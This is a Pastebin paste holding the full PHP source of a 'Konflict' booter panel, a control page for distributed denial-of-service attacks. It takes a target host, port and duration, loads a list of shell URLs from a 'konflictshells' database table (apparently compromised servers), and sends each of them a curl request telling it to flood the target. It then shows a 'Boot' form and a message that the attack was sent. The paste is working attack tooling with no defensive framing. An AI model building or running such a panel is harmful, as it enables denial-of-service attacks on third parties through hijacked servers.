Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- if(!isset($_SESSION['username']))
- {
- header("Location: gtfonoob.php");
- }
- if((isset($_GET['host'])) and (isset($_GET['port'])) and (isset($_GET['time']))){
- include_once("dbc.php");
- $konflicthost = $_GET['host'];
- $konflictport = $_GET['port'];
- $konflicttime = $_GET['time'];
- $fullcurl = "?host=".$konflicthost."&time=".$konflicttime."&port=".$konflictport;
- ignore_user_abort(TRUE);
- $thequery = mysql_query("SELECT url FROM konflictshells");
- $mh = curl_multi_init();
- $handles = array();
- while($resultSet = mysql_fetch_array($thequery)){
- $ch = curl_init($resultSet['url'] . $fullcurl);
- curl_setopt($ch, CURLOPT_TIMEOUT, 15); // SpeedyApoc, we can change this if needed
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_multi_add_handle($mh, $ch);
- $handles[] = $ch;
- }
- $running = null;
- do {
- curl_multi_exec($mh,$running);
- usleep(200000);
- } while ($running > 0);
- foreach($handles as $ch)
- {
- curl_multi_remove_handle($mh, $ch);
- }
- curl_multi_close($mh);
- ?>
- <b><div id="attacked">Konflict Attack Sent</div></b>
- <?php
- }
- ?>
- <html>
- <head>
- <title>Konflict</title>
- </head>
- <body>
- <table>
- <form action=? method=GET>
- <input type="hidden" name="action" value="boot">
- <tr>
- <td>Host:</td>
- <td><input type=text name=host value=></td>
- </tr>
- <tr>
- <td>Length (seconds):</td>
- <td><input type=text name=time value=></td>
- </tr>
- <tr>
- <td>Port (rand for random) :</td>
- <td><input type=text name=port value=80></td>
- </table>
- <input type="submit" value="Boot">
- </form>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement